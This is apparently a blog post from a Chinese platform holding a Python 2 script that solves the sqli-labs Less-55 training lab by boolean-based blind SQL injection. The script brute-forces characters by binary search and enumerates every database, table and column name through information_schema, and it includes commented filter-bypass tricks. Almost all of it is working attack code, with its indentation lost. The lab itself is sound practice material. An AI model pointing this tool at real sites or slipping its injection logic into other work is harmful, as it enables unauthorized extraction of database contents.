#!/usr/bin/env python
# encoding:utf8
import requests
import time
import sys
import random
# hack-config-start
payload = "0)|()--+" # 樣例 : 0"or()or"="1 或 0' or()or '='1
success_symbol = "Your Login name:"
url = "http://127.0.0.1/Less-55/index.php?id="
# 如果對參數(shù)進(jìn)行了過濾 , 需要配置temper函數(shù) , 雙寫或者加注釋繞過
# hack-config-end
# config-start
sleep_time = 5
error_time = 1
# config-end
# define-start
system_schema_names = ['information_schema','test','mysql','performance_schema']
# define-end
# TODO-start
# 優(yōu)化顯示
# TODO-end
def temper(temppayload):
# temppayload = temppayload.replace(" ","/**/")
# temppayload = temppayload.replace(" ","%a0")
# temppayload = temppayload.replace("or","oorr")
# temppayload = temppayload.replace("and","anandd")
return temppayload
def getRandomType(keywords):
# TODO 返回隨機(jī)大小寫
return ""
def getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid):
global payload
# http://127.0.0.1/Less-65/index.php?id=0"or()or"="1
startStr = payload.split("()")[0]
endStr = payload.split("()")[1]
# ((asCIi(sUBString((sELEct/**/scheMA_Name/**/FRom/**/inforMATion_scheMa.schemaTa/**//**/liMit/**/0,1),1,1)))>0)
temppayload = "((asCIi(sUBString((sELEct " + column_name + " FRom " + database_name + "." + table_name + " " + where + " liMit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")"
temppayload = startStr + temppayload + endStr
# temper
temppayload = temper(temppayload)
return temppayload
def exce(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid):
global success_symbol
global url
# content-start
tempurl = url + getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid)
# print tempurl
content = requests.get(tempurl).text
# print content
# content-end
# judge-start
if success_symbol in content:
return True
else:
return False
# judge-end
def doubleSearch(database_name, table_name, column_name, where, indexOfResult,indexOfChar,left_number, right_number):
while left_number < right_number:
mid = int((left_number + right_number) / 2)
if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)):
left_number = mid
else:
right_number = mid
if left_number == right_number - 1:
if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)):
mid += 1
break
else:
break
return chr(mid)
def getAllData(database_name, table_name, column_name, where):
allData = []
for i in range(32): # 需要遍歷的查詢結(jié)果的數(shù)量
counter = 0
data = ""
for j in range(32): # 結(jié)果的長度
counter += 1
temp = doubleSearch(database_name, table_name, column_name, where, i, j, 0, 128) # 從255開始查詢
if ord(temp) == 1: # 當(dāng)為1的時候說明已經(jīng)查詢結(jié)束
break
sys.stdout.write(temp)
sys.stdout.flush()
data += temp
if counter == 1: # 當(dāng)結(jié)果集的所有行都被遍歷后退出
break
sys.stdout.write("\r\n")
sys.stdout.flush()
allData.append(data)
return allData
def getAllSchemaNames():
return getAllData(column_name="scheMA_Name", table_name="schemaTa", database_name="inforMATion_scheMa", where="")
def getAllTableNames(schema_name):
return getAllData(column_name="taBLE_NAmE", table_name="TabLes", database_name="inforMATion_scheMa", where="where(table_SCHEmA='" + schema_name + "')")
def getAllColumnNames(schema_name, table_name):
return getAllData(column_name="coLUmn_NAMe", table_name="cOLUmns", database_name="inforMATion_scheMa", where="where(tABle_NaME='" + table_name + "' and tABLe_sCHEma='" + schema_name + "')")
def hack():
print "================================"
print "正在獲取所有數(shù)據(jù)庫 ..."
allSchemaNames = getAllSchemaNames()
print "所有數(shù)據(jù)庫名獲取完畢 !"
print "================================"
print "正在獲取所有數(shù)據(jù)庫表名 ..."
tempDic = {}
allUserSchemaNames = []
for schema_name in allSchemaNames:
print "--------------------------------"
print "當(dāng)前數(shù)據(jù)庫 : " + schema_name + "\t",
IS_SYSTEM_SCHEMA = False
for system_schema_name in system_schema_names:
if system_schema_name == schema_name:
print "Mysql自帶系統(tǒng)數(shù)據(jù)庫 , 智能忽略 !"
IS_SYSTEM_SCHEMA = True
break
if not IS_SYSTEM_SCHEMA:
print ""
allUserSchemaNames.append(schema_name)
tempDic[schema_name] = getAllTableNames(schema_name)
print "所有表名獲取完畢!"
print "================================"
print "正在獲取所有表列名 ..."
for schema_name in allUserSchemaNames:
print "--------------------------------"
for table_name in tempDic[schema_name]:
print "當(dāng)前數(shù)據(jù)庫 : " + schema_name + "\t當(dāng)前表名 : " + table_name
getAllColumnNames(schema_name, table_name)
print "所有列名獲取完畢!"
print "================================"
hack()
[sqli-labs]Less-55(Bool盲注)
最后編輯于 :
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。
推薦閱讀更多精彩內(nèi)容
- 這道題發(fā)現(xiàn)頁面中會顯示出GET過去的參數(shù)不過好像沒有URL解碼...好奇怪 , 感覺好像是傳過去之后又被編碼了 ,...